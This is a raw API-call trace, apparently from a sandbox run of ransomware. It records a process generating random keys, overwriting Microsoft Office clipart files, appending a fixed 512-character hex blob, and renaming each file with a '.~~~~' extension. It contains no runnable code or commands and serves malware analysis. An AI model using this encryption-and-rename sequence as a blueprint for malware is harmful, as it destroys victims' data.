	[0089.156] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.156] WriteFile (in: hFile=0x12c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0089.156] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0089.156] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0089.156] CloseHandle (hObject=0x12c) returned 1
	[0089.156] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0089.156] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf.~~~~")) returned 1
	[0089.157] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.157] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0089.157] GetLastError () returned 0x0
	[0089.158] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394970) returned 1
	[0089.159] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0089.159] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0089.159] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0089.159] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0089.159] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0089.159] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20914937980) returned 1
	[0089.159] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9eeae410, dwHighDateTime=0x1d60e1e)) 
	[0089.159] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0089.159] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0089.160] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0089.160] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b2940
	[0089.160] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0089.160] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b2940 | out: hHeap=0x300000) returned 1
	[0089.160] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0089.160] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0089.160] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0089.160] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0089.160] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37bca0
	[0089.160] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.160] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0089.160] GetLastError () returned 0x0
	[0089.160] GetLastError () returned 0x0
	[0089.160] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0089.161] GetLastError () returned 0x0
	[0089.161] GetLastError () returned 0x0
	[0089.268] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xffffe854, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0089.268] WriteFile (in: hFile=0x12c, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x17ac, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x1f8fec0*=0x17ac, lpOverlapped=0x0) returned 1
	[0089.285] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0089.285] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.285] WriteFile (in: hFile=0x12c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0089.286] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0089.286] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0089.286] CloseHandle (hObject=0x12c) returned 1
	[0089.286] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0089.286] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf.~~~~")) returned 1
	[0089.287] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.287] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0089.287] GetLastError () returned 0x0
	[0089.287] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394970) returned 1
	[0089.289] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0089.289] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0089.289] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0089.289] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0089.289] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0089.289] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20927905606) returned 1
	[0089.289] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9f005070, dwHighDateTime=0x1d60e1e)) 
	[0089.289] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0089.289] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0089.289] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0089.289] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b26d8
	[0089.289] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0089.289] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b26d8 | out: hHeap=0x300000) returned 1
	[0089.289] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0089.289] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0089.290] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0089.290] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0089.290] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37bd38
	[0089.290] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.290] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0089.290] GetLastError () returned 0x0
	[0089.290] GetLastError () returned 0x0
	[0089.290] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0089.290] GetLastError () returned 0x0
	[0089.290] GetLastError () returned 0x0
	[0089.293] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xfffff364, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0089.294] WriteFile (in: hFile=0x12c, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0xc9c, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x1f8fec0*=0xc9c, lpOverlapped=0x0) returned 1
	[0089.294] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0089.294] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.294] WriteFile (in: hFile=0x12c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0089.294] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0089.294] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0089.295] CloseHandle (hObject=0x12c) returned 1
	[0089.295] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0089.295] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf.~~~~")) returned 1
	[0089.296] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.296] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0089.296] GetLastError () returned 0x0
	[0089.296] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394970) returned 1
	[0089.297] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0089.297] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0089.298] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0089.298] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0089.298] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0089.298] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20928786854) returned 1
	[0089.298] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9f005070, dwHighDateTime=0x1d60e1e)) 
	[0089.298] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0089.298] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0089.298] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0089.298] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b26a0
	[0089.298] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0089.298] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b26a0 | out: hHeap=0x300000) returned 1
	[0089.298] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0089.298] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0089.298] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0089.298] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0089.298] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c918
	[0089.298] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.298] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0089.299] GetLastError () returned 0x0
	[0089.299] GetLastError () returned 0x0
	[0089.299] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0089.299] GetLastError () returned 0x0
	[0089.299] GetLastError () returned 0x0
	[0089.302] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xffffed38, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0089.302] WriteFile (in: hFile=0x12c, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x12c8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x1f8fec0*=0x12c8, lpOverlapped=0x0) returned 1
	[0089.303] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0089.303] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.303] WriteFile (in: hFile=0x12c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0089.304] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0089.304] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0089.304] CloseHandle (hObject=0x12c) returned 1
	[0089.304] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0089.304] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf.~~~~")) returned 1
	[0089.305] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.305] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0089.305] GetLastError () returned 0x0
	[0089.305] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394970) returned 1
	[0089.307] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0089.307] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0089.307] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0089.307] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0089.307] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0089.307] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20929736623) returned 1
	[0089.307] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9f02b1d0, dwHighDateTime=0x1d60e1e)) 
	[0089.307] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0089.307] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0089.308] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0089.308] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b2668
	[0089.308] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0089.308] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b2668 | out: hHeap=0x300000) returned 1
	[0089.308] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0089.308] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0089.308] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0089.308] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0089.308] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c9b0
	[0089.308] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.308] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0089.308] GetLastError () returned 0x0
	[0089.309] GetLastError () returned 0x0
	[0089.309] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0089.309] GetLastError () returned 0x0
	[0089.309] GetLastError () returned 0x0
	[0089.312] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xffffec7c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0089.312] WriteFile (in: hFile=0x12c, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x1384, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x1f8fec0*=0x1384, lpOverlapped=0x0) returned 1
	[0089.312] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0089.312] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.313] WriteFile (in: hFile=0x12c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0089.313] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0089.313] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0089.313] CloseHandle (hObject=0x12c) returned 1
	[0089.313] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0089.313] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf.~~~~")) returned 1
	[0089.314] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.314] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0089.314] GetLastError () returned 0x0
	[0089.314] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394970) returned 1
	[0089.316] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0089.316] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0089.316] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0089.316] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0089.316] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0089.316] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20930640350) returned 1
	[0089.316] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9f02b1d0, dwHighDateTime=0x1d60e1e)) 
	[0089.316] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0089.316] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0089.317] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0089.317] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b2630
	[0089.317] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0089.317] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b2630 | out: hHeap=0x300000) returned 1
	[0089.317] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0089.317] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0089.317] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0089.317] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0089.317] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37ca48
	[0089.317] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.317] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0089.317] GetLastError () returned 0x0
	[0089.318] GetLastError () returned 0x0
	[0089.318] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0089.318] GetLastError () returned 0x0
	[0089.318] GetLastError () returned 0x0
